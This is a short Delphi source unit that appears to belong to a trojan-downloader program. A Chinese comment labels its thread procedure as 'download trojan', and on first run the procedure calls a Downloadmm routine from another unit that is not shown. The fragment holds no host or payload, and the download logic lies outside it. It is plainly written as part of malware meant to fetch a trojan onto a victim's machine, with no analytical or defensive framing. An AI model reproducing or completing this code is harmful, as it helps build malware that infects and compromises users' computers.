unit Threads;

interface

procedure ThreadPro(X: Integer); stdcall; // 線程函數

implementation

uses WinUnit;
 var
 c:integer =0;
procedure ThreadPro(X: Integer); stdcall;
begin
//下載木馬
 if c=0 then
 begin
 c:=1;
 Downloadmm();
 end;
end;

end.